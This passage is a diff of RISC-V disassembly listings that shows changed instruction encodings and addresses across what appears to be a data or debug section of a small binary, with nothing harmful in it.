+    10e2:	1805                	addi	a6,a6,-31
+    10e4:	00008a4b          	fnmsub.s	fs4,ft1,ft0,ft0,rne
+    10e8:	1905                	addi	s2,s2,-31
+    10ea:	0000444b          	fnmsub.s	fs0,ft0,ft0,ft0,rmm
+    10ee:	1e05                	addi	t3,t3,-31
+    10f0:	5716                	lw	a4,100(sp)
+    10f2:	0000                	unimp
+    10f4:	1f05                	addi	t5,t5,-31
+    10f6:	96d8                	0x96d8
+    10f8:	0000                	unimp
+    10fa:	2005                	jal	111a <__stack_size+0x91a>
+    10fc:	1435                	addi	s0,s0,-19
+    10fe:	0000                	unimp
+    1100:	2105                	jal	1520 <__stack_size+0xd20>
+    1102:	4550                	lw	a2,12(a0)
+    1104:	0000                	unimp
+    1106:	2205                	jal	1226 <__stack_size+0xa26>
+    1108:	1462                	slli	s0,s0,0x38
+    110a:	0000                	unimp
+    110c:	2905                	jal	153c <__stack_size+0xd3c>
+    110e:	4875                	li	a6,29
+    1110:	0000                	unimp
+    1112:	3005                	jal	932 <__stack_size+0x132>
+    1114:	00004aa7          	fsq	ft0,21(zero) # 15 <__stack_size-0x7eb>
+    1118:	3105                	jal	d38 <__stack_size+0x538>
+    111a:	00009ebb          	0x9ebb
+    111e:	3205                	jal	a3e <__stack_size+0x23e>
+    1120:	8e1c                	0x8e1c
+    1122:	0000                	unimp
+    1124:	3305                	jal	e44 <__stack_size+0x644>
+    1126:	9b90                	0x9b90
+    1128:	0000                	unimp
+    112a:	3405                	jal	b4a <__stack_size+0x34a>
+    112c:	35bc                	fld	fa5,104(a1)
+    112e:	0000                	unimp
+    1130:	3505                	jal	f50 <__stack_size+0x750>
+    1132:	5786                	lw	a5,96(sp)
+    1134:	0000                	unimp
+    1136:	3605                	jal	c56 <__stack_size+0x456>
+    1138:	0000779b          	0x779b
+    113c:	3705                	jal	105c <__stack_size+0x85c>
+    113e:	9460                	0x9460
+    1140:	0000                	unimp
+    1142:	3a05                	jal	a72 <__stack_size+0x272>
+    1144:	1bd1                	addi	s7,s7,-12
+    1146:	0000                	unimp
+    1148:	3b05                	jal	e78 <__stack_size+0x678>
+    114a:	366a                	fld	fa2,184(sp)
+    114c:	0000                	unimp
+    114e:	3f05                	jal	107e <__stack_size+0x87e>
+    1150:	26bd                	jal	14be <__stack_size+0xcbe>
+    1152:	0000                	unimp
+    1154:	4005                	c.li	zero,1
+    1156:	3a49                	jal	ae8 <__stack_size+0x2e8>
+    1158:	0000                	unimp
+    115a:	4105                	li	sp,1
+    115c:	0000825b          	0x825b
+    1160:	4205                	li	tp,1
+    1162:	9724                	0x9724
+    1164:	0000                	unimp
+    1166:	4305                	li	t1,1
+    1168:	000049e7          	0x49e7
+    116c:	4705                	li	a4,1
+    116e:	483a                	lw	a6,140(sp)
+    1170:	0000                	unimp
+    1172:	5d05                	li	s10,-31
+    1174:	3b6c                	fld	fa1,240(a4)
+    1176:	0000                	unimp
+    1178:	5e05                	li	t3,-31
+    117a:	5eae                	lw	t4,232(sp)
+    117c:	0000                	unimp
+    117e:	5f05                	li	t5,-31
+    1180:	00006fef          	jal	t6,7180 <__stack_size+0x6980>
+    1184:	6005                	c.lui	zero,0x1
+    1186:	67dd                	lui	a5,0x17
+    1188:	0000                	unimp
+    118a:	6105                	addi	sp,sp,32
+    118c:	86a4                	0x86a4
+    118e:	0000                	unimp
+    1190:	6205                	lui	tp,0x1
+    1192:	0f35                	addi	t5,t5,13
+    1194:	0000                	unimp
+    1196:	6805                	lui	a6,0x1
+    1198:	3722                	fld	fa4,40(sp)
+    119a:	0000                	unimp
+    119c:	6905                	lui	s2,0x1
+    119e:	5310                	lw	a2,32(a4)
+    11a0:	0000                	unimp
+    11a2:	6a05                	lui	s4,0x1
+    11a4:	00008697          	auipc	a3,0x8
+    11a8:	6b05                	lui	s6,0x1
+    11aa:	451d                	li	a0,7
+    11ac:	0000                	unimp
+    11ae:	6c05                	lui	s8,0x1
+    11b0:	1b71                	addi	s6,s6,-4
+    11b2:	0000                	unimp
+    11b4:	6d05                	lui	s10,0x1
+    11b6:	79fc                	flw	fa5,116(a1)
+    11b8:	0000                	unimp
+    11ba:	7205                	lui	tp,0xfffe1
+    11bc:	946e                	add	s0,s0,s11
+    11be:	0000                	unimp
+    11c0:	7305                	lui	t1,0xfffe1
+    11c2:	5e0e                	lw	t3,224(sp)
+    11c4:	0000                	unimp
+    11c6:	7405                	lui	s0,0xfffe1
+    11c8:	00007ddb          	0x7ddb
+    11cc:	7505                	lui	a0,0xfffe1
+    11ce:	08c1                	addi	a7,a7,16
+    11d0:	0000                	unimp
+    11d2:	7605                	lui	a2,0xfffe1
+    11d4:	3d75                	jal	1090 <__stack_size+0x890>
+    11d6:	0000                	unimp
+    11d8:	7b05                	lui	s6,0xfffe1
+    11da:	4df1                	li	s11,28
+    11dc:	0000                	unimp
+    11de:	7f05                	lui	t5,0xfffe1
+    11e0:	2575                	jal	188c <__stack_size+0x108c>
+    11e2:	0000                	unimp
+    11e4:	8205                	srli	a2,a2,0x1
+    11e6:	ee01                	bnez	a2,11fe <__stack_size+0x9fe>
+    11e8:	0070                	addi	a2,sp,12
+    11ea:	0500                	addi	s0,sp,640
+    11ec:	661a0183          	lb	gp,1633(s4) # 1661 <__stack_size+0xe61>
     11f0:	0000                	unimp
-    11f2:	8205                	srli	a2,a2,0x1
-    11f4:	6d01                	0x6d01
-    11f6:	0070                	addi	a2,sp,12
+    11f2:	8405                	srai	s0,s0,0x1
+    11f4:	9d01                	0x9d01
+    11f6:	0036                	c.slli	zero,0xd
     11f8:	0500                	addi	s0,sp,640
-    11fa:	658c0183          	lb	gp,1624(s8) # 1658 <__stack_size+0xe58>
+    11fa:	0185                	addi	gp,gp,1
+    11fc:	1295                	addi	t0,t0,-27
     11fe:	0000                	unimp
-    1200:	8405                	srai	s0,s0,0x1
-    1202:	d101                	beqz	a0,1102 <__stack_size+0x902>
-    1204:	0035                	c.nop	13
+    1200:	8605                	srai	a2,a2,0x1
+    1202:	bb01                	j	f12 <__stack_size+0x712>
+    1204:	0011                	c.nop	4
     1206:	0500                	addi	s0,sp,640
-    1208:	0185                	addi	gp,gp,1
-    120a:	00001323          	sh	zero,6(zero) # 6 <__stack_size-0x7fa>
-    120e:	8605                	srai	a2,a2,0x1
-    1210:	2701                	jal	1910 <__stack_size+0x1110>
-    1212:	0012                	c.slli	zero,0x4
-    1214:	0500                	addi	s0,sp,640
-    1216:	0188                	addi	a0,sp,192
-    1218:	00002a73          	csrr	s4,ustatus
-    121c:	8905                	andi	a0,a0,1
-    121e:	fa01                	bnez	a2,112e <__stack_size+0x92e>
-    1220:	0042                	c.slli	zero,0x10
+    1208:	0188                	addi	a0,sp,192
+    120a:	2b3e                	fld	fs6,456(sp)
+    120c:	0000                	unimp
+    120e:	8905                	andi	a0,a0,1
+    1210:	f901                	bnez	a0,1120 <__stack_size+0x920>
+    1212:	05000043          	0x5000043
+    1216:	947b018b          	0x947b018b
+    121a:	0000                	unimp
+    121c:	8c05                	sub	s0,s0,s1
+    121e:	1201                	addi	tp,tp,-32
+    1220:	0094                	addi	a3,sp,64
     1222:	0500                	addi	s0,sp,640
-    1224:	021f018b          	0x21f018b
-    1228:	0000                	unimp
-    122a:	8c05                	sub	s0,s0,s1
-    122c:	7801                	lui	a6,0xfffe0
-    122e:	05000093          	li	ra,80
-    1232:	018d                	addi	gp,gp,3
-    1234:	000059f7          	0x59f7
-    1238:	8f05                	sub	a4,a4,s1
-    123a:	0f01                	addi	t5,t5,0
-    123c:	002d                	c.nop	11
+    1224:	018d                	addi	gp,gp,3
+    1226:	00005b13          	srli	s6,zero,0x0
+    122a:	8f05                	sub	a4,a4,s1
+    122c:	2401                	jal	142c <__stack_size+0xc2c>
+    122e:	002e                	c.slli	zero,0xb
+    1230:	0500                	addi	s0,sp,640
+    1232:	0190                	addi	a2,sp,192
+    1234:	a172                	fsd	ft8,128(sp)
+    1236:	0000                	unimp
+    1238:	9105                	srli	a0,a0,0x21
+    123a:	9c01                	0x9c01
+    123c:	0042                	c.slli	zero,0x10
     123e:	0500                	addi	s0,sp,640
-    1240:	0190                	addi	a2,sp,192
-    1242:	a159                	j	16c8 <__stack_size+0xec8>
+    1240:	0192                	slli	gp,gp,0x4
+    1242:	9ec6                	add	t4,t4,a7
     1244:	0000                	unimp
-    1246:	9105                	srli	a0,a0,0x21
-    1248:	9d01                	0x9d01
-    124a:	0041                	c.nop	16
-    124c:	0500                	addi	s0,sp,640
-    124e:	0192                	slli	gp,gp,0x4
-    1250:	9e64                	0x9e64
+    1246:	9505                	srai	a0,a0,0x21
+    1248:	2701                	jal	1948 <__stack_size+0x1148>
+    124a:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    124e:	0199                	addi	gp,gp,6
+    1250:	8879                	andi	s0,s0,30
     1252:	0000                	unimp
-    1254:	9505                	srai	a0,a0,0x21
-    1256:	9a01                	andi	a2,a2,-32
-    1258:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    125c:	0199                	addi	gp,gp,6
-    125e:	87d6                	mv	a5,s5
+    1254:	9a05                	andi	a2,a2,-31
+    1256:	6e01                	0x6e01
+    1258:	004c                	addi	a1,sp,4
+    125a:	0500                	addi	s0,sp,640
+    125c:	6ab1019b          	0x6ab1019b
     1260:	0000                	unimp
-    1262:	9a05                	andi	a2,a2,-31
-    1264:	2701                	jal	1964 <__stack_size+0x1164>
-    1266:	0500004b          	0x500004b
-    126a:	6a0f019b          	0x6a0f019b
+    1262:	9d05                	0x9d05
+    1264:	9501                	srai	a0,a0,0x20
+    1266:	007e                	c.slli	zero,0x1f
+    1268:	0500                	addi	s0,sp,640
+    126a:	01a2                	slli	gp,gp,0x8
+    126c:	5501                	li	a0,-32
     126e:	0000                	unimp
-    1270:	9d05                	0x9d05
-    1272:	1201                	addi	tp,tp,-32
-    1274:	007e                	c.slli	zero,0x1f
+    1270:	a505                	j	1890 <__stack_size+0x1090>
+    1272:	4901                	li	s2,0
+    1274:	0076                	c.slli	zero,0x1d
     1276:	0500                	addi	s0,sp,640
-    1278:	01a2                	slli	gp,gp,0x8
-    127a:	53aa                	lw	t2,168(sp)
+    1278:	01a6                	slli	gp,gp,0x9
+    127a:	11e8                	addi	a0,sp,236
     127c:	0000                	unimp
-    127e:	a505                	j	189e <__stack_size+0x109e>
-    1280:	bc01                	j	c90 <__stack_size+0x490>
-    1282:	0075                	c.nop	29
+    127e:	a705                	j	199e <__stack_size+0x119e>
+    1280:	9201                	srli	a2,a2,0x20
+    1282:	0016                	c.slli	zero,0x5
     1284:	0500                	addi	s0,sp,640
-    1286:	01a6                	slli	gp,gp,0x9
-    1288:	125c                	addi	a5,sp,292
+    1286:	01a8                	addi	a0,sp,200
+    1288:	1055                	c.nop	-11
     128a:	0000                	unimp
-    128c:	a705                	j	19ac <__stack_size+0x11ac>
-    128e:	4301                	li	t1,0
-    1290:	05000017          	auipc	zero,0x5000
-    1294:	01a8                	addi	a0,sp,200
-    1296:	10a0                	addi	s0,sp,104
+    128c:	b005                	j	aac <__stack_size+0x2ac>
+    128e:	5701                	li	a4,-32
+    1290:	001c                	0x1c
+    1292:	0500                	addi	s0,sp,640
+    1294:	01b1                	addi	gp,gp,12
+    1296:	70ca                	flw	ft1,176(sp)
     1298:	0000                	unimp
-    129a:	b005                	j	aba <__stack_size+0x2ba>
-    129c:	2901                	jal	16ac <__stack_size+0xeac>
-    129e:	001d                	c.nop	7
+    129a:	b205                	j	bba <__stack_size+0x3ba>
+    129c:	4301                	li	t1,0
+    129e:	0034                	addi	a3,sp,8
     12a0:	0500                	addi	s0,sp,640
-    12a2:	01b1                	addi	gp,gp,12
-    12a4:	7049                	c.lui	zero,0xffff2
+    12a2:	3d2601b3          	0x3d2601b3
     12a6:	0000                	unimp
-    12a8:	b205                	j	bc8 <__stack_size+0x3c8>
-    12aa:	6301                	0x6301
-    12ac:	05000033          	0x5000033
-    12b0:	3c1901b3          	0x3c1901b3
-    12b4:	0000                	unimp
-    12b6:	0400                	addi	s0,sp,512
-    12b8:	0000                	unimp
-    12ba:	2805                	jal	12ea <__stack_size+0xaea>
-    12bc:	3576                	fld	fa0,376(sp)
-    12be:	0000                	unimp
-    12c0:	2c05                	jal	14f0 <__stack_size+0xcf0>
-    12c2:	3a48                	fld	fa0,176(a2)
-    12c4:	0000                	unimp
-    12c6:	0400                	addi	s0,sp,512
-    12c8:	0000                	unimp
-    12ca:	1405                	addi	s0,s0,-31
-    12cc:	00005303          	lhu	t1,0(zero) # 0 <__stack_size-0x800>
-    12d0:	1605                	addi	a2,a2,-31
-    12d2:	3ae9                	jal	cac <__stack_size+0x4ac>
-    12d4:	0000                	unimp
-    12d6:	1705                	addi	a4,a4,-31
-    12d8:	07c1                	addi	a5,a5,16
-    12da:	0000                	unimp
-    12dc:	0400                	addi	s0,sp,512
+    12a8:	0400                	addi	s0,sp,512
+    12aa:	0000                	unimp
+    12ac:	2805                	jal	12dc <__stack_size+0xadc>
+    12ae:	3652                	fld	fa2,304(sp)
+    12b0:	0000                	unimp
+    12b2:	2c05                	jal	14e2 <__stack_size+0xce2>
+    12b4:	3b5e                	fld	fs6,496(sp)
+    12b6:	0000                	unimp
+    12b8:	0400                	addi	s0,sp,512
+    12ba:	0000                	unimp
+    12bc:	1405                	addi	s0,s0,-31
+    12be:	545a                	lw	s0,180(sp)
+    12c0:	0000                	unimp
+    12c2:	1605                	addi	a2,a2,-31
+    12c4:	3bff                	0x3bff
+    12c6:	0000                	unimp
+    12c8:	1705                	addi	a4,a4,-31
+    12ca:	00000777          	0x777
+    12ce:	0400                	addi	s0,sp,512
+    12d0:	0000                	unimp
+    12d2:	9b06                	add	s6,s6,ra
+    12d4:	8701                	c.srai64	a4
+    12d6:	0060                	addi	s0,sp,12
+    12d8:	0600                	addi	s0,sp,768
+    12da:	3d1001e7          	jalr	gp,977(zero) # 0 <__stack_size-0x800>
     12de:	0000                	unimp
-    12e0:	9b06                	add	s6,s6,ra
-    12e2:	7b01                	lui	s6,0xfffe0
-    12e4:	005f 0600 01e7      	0x1e70600005f
-    12ea:	00003c03          	0x3c03
-    12ee:	d406                	sw	ra,40(sp)
-    12f0:	ef02                	fsw	ft0,156(sp)
-    12f2:	0072                	c.slli	zero,0x1c
-    12f4:	0500                	addi	s0,sp,640
-    12f6:	02d9                	addi	t0,t0,22
-    12f8:	036a                	slli	t1,t1,0x1a
+    12e0:	d406                	sw	ra,40(sp)
+    12e2:	8a02                	jr	s4
+    12e4:	05000073          	0x5000073
+    12e8:	02d9                	addi	t0,t0,22
+    12ea:	000002f7          	0x2f7
+    12ee:	e006                	fsw	ft1,0(sp)
+    12f0:	b802                	fsd	ft0,48(sp)
+    12f2:	0045                	c.nop	17
+    12f4:	0600                	addi	s0,sp,768
+    12f6:	0386                	slli	t2,t2,0x1
+    12f8:	527a                	lw	tp,188(sp)
     12fa:	0000                	unimp
-    12fc:	e006                	fsw	ft1,0(sp)
-    12fe:	b002                	fsd	ft0,32(sp)
-    1300:	0044                	addi	s1,sp,4
+    12fc:	8b05                	andi	a4,a4,1
+    12fe:	00713503          	0x713503
     1302:	0600                	addi	s0,sp,768
-    1304:	0386                	slli	t2,t2,0x1
-    1306:	5138                	lw	a4,96(a0)
-    1308:	0000                	unimp
-    130a:	8b05                	andi	a4,a4,1
-    130c:	0070b403          	0x70b403
-    1310:	0600                	addi	s0,sp,768
-    1312:	0391                	addi	t2,t2,4
-    1314:	5131                	li	sp,-20
-    1316:	0000                	unimp
-    1318:	9605                	srai	a2,a2,0x21
-    131a:	00513d03          	0x513d03
-    131e:	0000                	unimp
-    1320:	0004                	0x4
-    1322:	0600                	addi	s0,sp,768
-    1324:	b87f                	0xb87f
-    1326:	007d                	c.nop	31
+    1304:	0391                	addi	t2,t2,4
+    1306:	00005273          	csrrwi	tp,ustatus,0
+    130a:	9605                	srai	a2,a2,0x21
+    130c:	00527f03          	0x527f03
+    1310:	0000                	unimp
+    1312:	0004                	0x4
+    1314:	0600                	addi	s0,sp,768
+    1316:	3b7f                	0x3b7f
+    1318:	007e                	c.slli	zero,0x1f
+    131a:	0500                	addi	s0,sp,640
+    131c:	0192                	slli	gp,gp,0x4
+    131e:	2852                	fld	fa6,272(sp)
+    1320:	0000                	unimp
+    1322:	9406                	add	s0,s0,ra
+    1324:	2901                	jal	1734 <__stack_size+0xf34>
+    1326:	0060                	addi	s0,sp,12
     1328:	0500                	addi	s0,sp,640
-    132a:	0192                	slli	gp,gp,0x4
-    132c:	278e                	fld	fa5,192(sp)
+    132a:	03ba01b3          	mul	gp,s4,s11
     132e:	0000                	unimp
-    1330:	9406                	add	s0,s0,ra
-    1332:	1d01                	addi	s10,s10,-32
-    1334:	005f 0500 01b3      	0x1b30500005f
-    133a:	042a                	slli	s0,s0,0xa
+    1330:	bb05                	j	1060 <__stack_size+0x860>
+    1332:	ec01                	bnez	s0,134a <__stack_size+0xb4a>
+    1334:	05000097          	auipc	ra,0x5000
+    1338:	01c0                	addi	s0,sp,196
+    133a:	4404                	lw	s1,8(s0)
     133c:	0000                	unimp
-    133e:	bb05                	j	106e <__stack_size+0x86e>
-    1340:	3d01                	jal	1150 <__stack_size+0x950>
-    1342:	05000097          	auipc	ra,0x5000
-    1346:	01c0                	addi	s0,sp,196
-    1348:	4305                	li	t1,1
-    134a:	0000                	unimp
-    134c:	c505                	beqz	a0,1374 <__stack_size+0xb74>
-    134e:	fd01                	bnez	a0,1266 <__stack_size+0xa66>
-    1350:	0051                	c.nop	20
-    1352:	0000                	unimp
-    1354:	0004                	0x4
-    1356:	0500                	addi	s0,sp,640
-    1358:	330a                	fld	ft6,160(sp)
-    135a:	0076                	c.slli	zero,0x1d
-    135c:	0500                	addi	s0,sp,640
-    135e:	1115                	addi	sp,sp,-27
-    1360:	0050                	addi	a2,sp,4
-    1362:	0500                	addi	s0,sp,640
-    1364:	9019                	srli	s0,s0,0x26
-    1366:	0022                	c.slli	zero,0x8
-    1368:	0500                	addi	s0,sp,640
-    136a:	006f751b          	0x6f751b
-    136e:	0500                	addi	s0,sp,640
-    1370:	0121                	addi	sp,sp,8
-    1372:	05000077          	0x5000077
-    1376:	6325                	lui	t1,0x9
-    1378:	0030                	addi	a2,sp,8
-    137a:	0500                	addi	s0,sp,640
-    137c:	00301c27          	0x301c27
-    1380:	0500                	addi	s0,sp,640
-    1382:	bc2d                	j	dbc <__stack_size+0x5bc>
-    1384:	0034                	addi	a3,sp,8
-    1386:	0500                	addi	s0,sp,640
-    1388:	c631                	beqz	a2,13d4 <__stack_size+0xbd4>
-    138a:	008a                	slli	ra,ra,0x2
-    138c:	0500                	addi	s0,sp,640
-    138e:	008fc133          	xor	sp,t6,s0
-    1392:	0500                	addi	s0,sp,640
-    1394:	4839                	li	a6,14
-    1396:	0500009b          	0x500009b
-    139a:	9b3d                	andi	a4,a4,-17
-    139c:	0036                	c.slli	zero,0xd
-    139e:	0500                	addi	s0,sp,640
-    13a0:	00364d3f 8c440500 	0x8c44050000364d3f
-    13a8:	0004                	0x4
-    13aa:	0500                	addi	s0,sp,640
-    13ac:	7f49                	lui	t5,0xffff2
-    13ae:	05000077          	0x5000077
-    13b2:	774e                	flw	fa4,240(sp)
-    13b4:	0070                	addi	a2,sp,12
-    13b6:	0500                	addi	s0,sp,640
-    13b8:	00473b53          	fadd.s	fs6,fa4,ft4,rup
-    13bc:	0000                	unimp
-    13be:	0004                	0x4
-    13c0:	0500                	addi	s0,sp,640
-    13c2:	3d12                	fld	fs10,288(sp)
-    13c4:	006d                	c.nop	27
-    13c6:	0500                	addi	s0,sp,640
-    13c8:	9a16                	add	s4,s4,t0
-    13ca:	002a                	c.slli	zero,0xa
-    13cc:	0500                	addi	s0,sp,640
-    13ce:	561a                	lw	a2,164(sp)
-    13d0:	0055                	c.nop	21
-    13d2:	0500                	addi	s0,sp,640
-    13d4:	cc1f 0049 0000      	0x49cc1f
-    13da:	0004                	0x4
-    13dc:	0500                	addi	s0,sp,640
-    13de:	d609                	beqz	a2,12e8 <__stack_size+0xae8>
-    13e0:	0030                	addi	a2,sp,8
-    13e2:	0500                	addi	s0,sp,640
-    13e4:	e00a                	fsw	ft2,0(sp)
-    13e6:	0500004f          	0x500004f
-    13ea:	a911                	j	17fe <__stack_size+0xffe>
-    13ec:	05000093          	li	ra,80
-    13f0:	8412                	mv	s0,tp
-    13f2:	0500000b          	0x500000b
-    13f6:	0022f613          	andi	a2,t0,2
-    13fa:	0500                	addi	s0,sp,640
-    13fc:	e314                	fsw	fa3,0(a4)
-    13fe:	002e                	c.slli	zero,0xb
-    1400:	0500                	addi	s0,sp,640
-    1402:	fc18                	fsw	fa4,56(s0)
-    1404:	0095                	addi	ra,ra,5
-    1406:	0500                	addi	s0,sp,640
-    1408:	5f19                	li	t5,-26
-    140a:	0079                	c.nop	30
-    140c:	0500                	addi	s0,sp,640
-    140e:	6a1a                	flw	fs4,132(sp)
-    1410:	0089                	addi	ra,ra,2
-    1412:	0500                	addi	s0,sp,640
-    1414:	7e39                	lui	t3,0xfffee
-    1416:	0080                	addi	s0,sp,64
-    1418:	0500                	addi	s0,sp,640
-    141a:	8c3a                	mv	s8,a4
-    141c:	05000073          	0x5000073
-    1420:	003a1a3b          	0x3a1a3b
-    1424:	0500                	addi	s0,sp,640
-    1426:	f33c                	fsw	fa5,96(a4)
-    1428:	0061                	c.nop	24
-    142a:	0000                	unimp
-    142c:	0004                	0x4
-    142e:	0500                	addi	s0,sp,640
-    1430:	3120                	fld	fs0,96(a0)
-    1432:	0045                	c.nop	17
-    1434:	0500                	addi	s0,sp,640
-    1436:	b626                	fsd	fs1,296(sp)
-    1438:	009e                	slli	ra,ra,0x7
-    143a:	0500                	addi	s0,sp,640
-    143c:	00466a2b          	0x466a2b
-    1440:	0500                	addi	s0,sp,640
-    1442:	8d2c                	0x8d2c
-    1444:	05000017          	auipc	zero,0x5000
-    1448:	6a31                	lui	s4,0xc
-    144a:	0032                	c.slli	zero,0xc
-    144c:	0000                	unimp
-    144e:	0004                	0x4
-    1450:	0500                	addi	s0,sp,640
-    1452:	5029                	c.li	zero,-22
-    1454:	003d                	c.nop	15
-    1456:	0500                	addi	s0,sp,640
-    1458:	9f2e                	add	t5,t5,a1
-    145a:	0096                	slli	ra,ra,0x5
-    145c:	0000                	unimp
-    145e:	0004                	0x4
-    1460:	0500                	addi	s0,sp,640
-    1462:	00179f13          	slli	t5,a5,0x1
-    1466:	0500                	addi	s0,sp,640
-    1468:	004fcd17          	auipc	s10,0x4fc
-    146c:	0500                	addi	s0,sp,640
-    146e:	0b1f 0083 0500      	0x50000830b1f
-    1474:	004b5823          	0x4b5823
-    1478:	0500                	addi	s0,sp,640
-    147a:	5825                	li	a6,-23
-    147c:	0031                	c.nop	12
-    147e:	0500                	addi	s0,sp,640
-    1480:	7c2e                	flw	fs8,232(sp)
-    1482:	05000037          	lui	zero,0x5000
-    1486:	cc30                	sw	a2,88(s0)
-    1488:	05000027          	0x5000027
-    148c:	3131                	jal	1098 <__stack_size+0x898>
-    148e:	0035                	c.nop	13
-    1490:	0500                	addi	s0,sp,640
-    1492:	ca32                	sw	a2,20(sp)
-    1494:	000e                	c.slli	zero,0x3
-    1496:	0500                	addi	s0,sp,640
-    1498:	00633733          	sltu	a4,t1,t1
-    149c:	0000                	unimp
-    149e:	0004                	0x4
-    14a0:	0500                	addi	s0,sp,640
-    14a2:	00080f33          	add	t5,a6,zero
-    14a6:	0500                	addi	s0,sp,640
-    14a8:	5c34                	lw	a3,120(s0)
-    14aa:	0008                	0x8
-    14ac:	0500                	addi	s0,sp,640
-    14ae:	d138                	sw	a4,96(a0)
-    14b0:	0079                	c.nop	30
-    14b2:	0500                	addi	s0,sp,640
-    14b4:	5b3d                	li	s6,-17
-    14b6:	0038                	addi	a4,sp,8
-    14b8:	0500                	addi	s0,sp,640
-    14ba:	b548                	fsd	fa0,168(a0)
-    14bc:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-    14c0:	674c                	flw	fa1,12(a4)
-    14c2:	007d                	c.nop	31
-    14c4:	0500                	addi	s0,sp,640
-    14c6:	7550                	flw	fa2,44(a0)
-    14c8:	006d                	c.nop	27
-    14ca:	0500                	addi	s0,sp,640
-    14cc:	f054                	fsw	fa3,36(s0)
-    14ce:	0500007b          	0x500007b
-    14d2:	df56                	sw	s5,188(sp)
-    14d4:	007c                	addi	a5,sp,12
-    14d6:	0500                	addi	s0,sp,640
-    14d8:	f362                	fsw	fs8,164(sp)
-    14da:	0036                	c.slli	zero,0xd
-    14dc:	0500                	addi	s0,sp,640
-    14de:	000bfb67          	0xbfb67
-    14e2:	0500                	addi	s0,sp,640
-    14e4:	246c                	fld	fa1,200(s0)
-    14e6:	0068                	addi	a0,sp,12
-    14e8:	0500                	addi	s0,sp,640
-    14ea:	c26d                	beqz	a2,15cc <__stack_size+0xdcc>
-    14ec:	006d                	c.nop	27
-    14ee:	0500                	addi	s0,sp,640
-    14f0:	6e78                	flw	fa4,92(a2)
-    14f2:	0075                	c.nop	29
-    14f4:	0500                	addi	s0,sp,640
-    14f6:	e47c                	fsw	fa5,76(s0)
-    14f8:	0059                	c.nop	22
-    14fa:	0500                	addi	s0,sp,640
-    14fc:	0182                	c.slli64	gp
-    14fe:	1e58                	addi	a4,sp,820
+    133e:	c505                	beqz	a0,1366 <__stack_size+0xb66>
+    1340:	1f01                	addi	t5,t5,-32
+    1342:	00000053          	fadd.s	ft0,ft0,ft0,rne
+    1346:	0004                	0x4
+    1348:	0500                	addi	s0,sp,640
+    134a:	e00a                	fsw	ft2,0(sp)
+    134c:	0076                	c.slli	zero,0x1d
+    134e:	0500                	addi	s0,sp,640
+    1350:	3915                	jal	f84 <__stack_size+0x784>
+    1352:	0051                	c.nop	20
+    1354:	0500                	addi	s0,sp,640
+    1356:	4119                	li	sp,6
+    1358:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+    135c:	00700e1b          	0x700e1b
+    1360:	0500                	addi	s0,sp,640
+    1362:	a921                	j	177a <__stack_size+0xf7a>
+    1364:	05000077          	0x5000077
+    1368:	5725                	li	a4,-23
+    136a:	0031                	c.nop	12
+    136c:	0500                	addi	s0,sp,640
+    136e:	00311027          	0x311027
+    1372:	0500                	addi	s0,sp,640
+    1374:	8d2d                	xor	a0,a0,a1
+    1376:	0035                	c.nop	13
+    1378:	0500                	addi	s0,sp,640
+    137a:	7931                	lui	s2,0xfffec
+    137c:	0500008b          	0x500008b
+    1380:	00907b33          	and	s6,zero,s1
+    1384:	0500                	addi	s0,sp,640
+    1386:	c539                	beqz	a0,13d4 <__stack_size+0xbd4>
+    1388:	0500009b          	0x500009b
+    138c:	693d                	lui	s2,0xf
+    138e:	05000037          	lui	zero,0x5000
+    1392:	005baf3f 1c440500 	0x1c440500005baf3f
+    139a:	0004                	0x4
+    139c:	0500                	addi	s0,sp,640
+    139e:	2549                	jal	1a20 <__stack_size+0x1220>
+    13a0:	0078                	addi	a4,sp,12
+    13a2:	0500                	addi	s0,sp,640
+    13a4:	f84e                	fsw	fs3,48(sp)
+    13a6:	0070                	addi	a2,sp,12
+    13a8:	0500                	addi	s0,sp,640
+    13aa:	00485853          	fadd.s	fa6,fa6,ft4,unknown
+    13ae:	0000                	unimp
+    13b0:	0004                	0x4
+    13b2:	0500                	addi	s0,sp,640
+    13b4:	db12                	sw	tp,180(sp)
+    13b6:	006d                	c.nop	27
+    13b8:	0500                	addi	s0,sp,640
+    13ba:	6516                	flw	fa0,68(sp)
+    13bc:	0500002b          	0x500002b
+    13c0:	6f1a                	flw	ft10,132(sp)
+    13c2:	0056                	c.slli	zero,0x15
+    13c4:	0500                	addi	s0,sp,640
+    13c6:	0b1f 004b 0000      	0x4b0b1f
+    13cc:	0004                	0x4
+    13ce:	0500                	addi	s0,sp,640
+    13d0:	ca09                	beqz	a2,13e2 <__stack_size+0xbe2>
+    13d2:	0031                	c.nop	12
+    13d4:	0500                	addi	s0,sp,640
+    13d6:	080a                	slli	a6,a6,0x2
+    13d8:	0051                	c.nop	20
+    13da:	0500                	addi	s0,sp,640
+    13dc:	4311                	li	t1,4
+    13de:	0094                	addi	a3,sp,64
+    13e0:	0500                	addi	s0,sp,640
+    13e2:	0c12                	slli	s8,s8,0x4
+    13e4:	0500000b          	0x500000b
+    13e8:	0023a713          	slti	a4,t2,2
+    13ec:	0500                	addi	s0,sp,640
+    13ee:	d714                	sw	a3,40(a4)
+    13f0:	0500002f          	0x500002f
+    13f4:	ab18                	fsd	fa4,16(a4)
+    13f6:	0096                	slli	ra,ra,0x5
+    13f8:	0500                	addi	s0,sp,640
+    13fa:	d819                	beqz	s0,1310 <__stack_size+0xb10>
+    13fc:	0079                	c.nop	30
+    13fe:	0500                	addi	s0,sp,640
+    1400:	0d1a                	slli	s10,s10,0x6
+    1402:	008a                	slli	ra,ra,0x2
+    1404:	0500                	addi	s0,sp,640
+    1406:	0139                	addi	sp,sp,14
+    1408:	0081                	addi	ra,ra,0
+    140a:	0500                	addi	s0,sp,640
+    140c:	273a                	fld	fa4,392(sp)
+    140e:	0074                	addi	a3,sp,12
+    1410:	0500                	addi	s0,sp,640
+    1412:	003b303b          	0x3b303b
+    1416:	0500                	addi	s0,sp,640
+    1418:	d33c                	sw	a5,96(a4)
+    141a:	0062                	c.slli	zero,0x18
+    141c:	0000                	unimp
+    141e:	0004                	0x4
+    1420:	0500                	addi	s0,sp,640
+    1422:	4320                	lw	s0,64(a4)
+    1424:	0046                	c.slli	zero,0x11
+    1426:	0500                	addi	s0,sp,640
+    1428:	1826                	slli	a6,a6,0x29
+    142a:	009f 0500 872b      	0x872b0500009f
+    1430:	05000047          	0x5000047
